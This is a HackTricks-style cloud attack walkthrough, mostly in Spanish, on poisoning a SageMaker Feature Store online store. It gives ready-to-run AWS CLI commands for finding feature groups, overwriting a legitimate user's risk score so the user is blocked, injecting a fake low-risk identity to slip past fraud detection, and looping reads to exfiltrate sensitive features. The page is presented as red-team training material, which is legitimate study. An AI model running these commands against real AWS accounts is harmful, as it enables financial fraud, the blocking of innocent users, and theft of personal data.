SageMaker Feature Store online store poisoning

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Abusar de sagemaker:PutRecord en un Feature Group con OnlineStore habilitado para sobrescribir valores de features en vivo consumidos por la inferencia en tiempo real. Combinado con sagemaker:GetRecord, un atacante puede leer features sensibles. Esto no requiere acceso a modelos ni a endpoints.

Requisitos

  • Permissions: sagemaker:ListFeatureGroups, sagemaker:DescribeFeatureGroup, sagemaker:PutRecord, sagemaker:GetRecord
  • Objetivo: Feature Group con OnlineStore habilitado (t铆picamente respaldando inferencia en tiempo real)
  • Complejidad: LOW - Comandos sencillos de AWS CLI, no se requiere manipulaci贸n de modelos

Pasos

Reconocimiento

  1. Listar Feature Groups con OnlineStore habilitado
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
--region $REGION \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
  1. Describe un Feature Group objetivo para entender su esquema
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"

Toma nota de los RecordIdentifierFeatureName, EventTimeFeatureName y de todas las definiciones de features. Estos son necesarios para crear registros v谩lidos.

Attack Scenario 1: Data Poisoning (Overwrite Existing Records)

  1. Lee el registro leg铆timo actual
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
  1. Envenena el registro con valores maliciosos usando el par谩metro inline --record
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
]" \
--target-stores OnlineStore
  1. Verificar los datos envenenados
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001

Impacto: los modelos ML que consumen esta caracter铆stica ahora ver谩n risk_score=0.99 para un usuario leg铆timo, lo que podr铆a bloquear sus transacciones o servicios.

Escenario de ataque 2: Malicious Data Injection (Create Fraudulent Records)

Inyectar registros completamente nuevos con caracter铆sticas manipuladas para evadir los controles de seguridad:

NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

# Create fake user with artificially low risk to perform fraudulent transactions
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
]" \
--target-stores OnlineStore

Verificar la injection:

aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999

Impacto: El atacante crea una identidad falsa con una puntuaci贸n de riesgo baja (0.01) que puede realizar transacciones fraudulentas de alto valor sin activar la detecci贸n de fraude.

Escenario de ataque 3: Exfiltraci贸n de datos sensibles

Leer m煤ltiples registros para extraer caracter铆sticas confidenciales y perfilar el comportamiento del modelo:

# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
echo "Exfiltrating data for ${USER_ID}:"
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string ${USER_ID}
done

Impacto: Caracter铆sticas confidenciales (puntuaciones de riesgo, patrones de transacci贸n, datos personales) expuestas a un atacante.

Creaci贸n de Feature Group de prueba/demostraci贸n (Opcional)

Si necesitas crear un Feature Group de prueba:

REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
if [ -z "$FG" -o "$FG" = "None" ]; then
ACC=$(aws sts get-caller-identity --query Account --output text)
FG=test-fg-$ACC-$(date +%s)
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)

aws sagemaker create-feature-group \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-feature-name entity_id \
--event-time-feature-name event_time \
--feature-definitions "[
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
]" \
--online-store-config "{\"EnableOnlineStore\":true}" \
--role-arn "$ROLE_ARN"

echo "Waiting for feature group to be in Created state..."
for i in $(seq 1 40); do
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
done
fi

echo "Feature Group ready: $FG"

Referencias

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks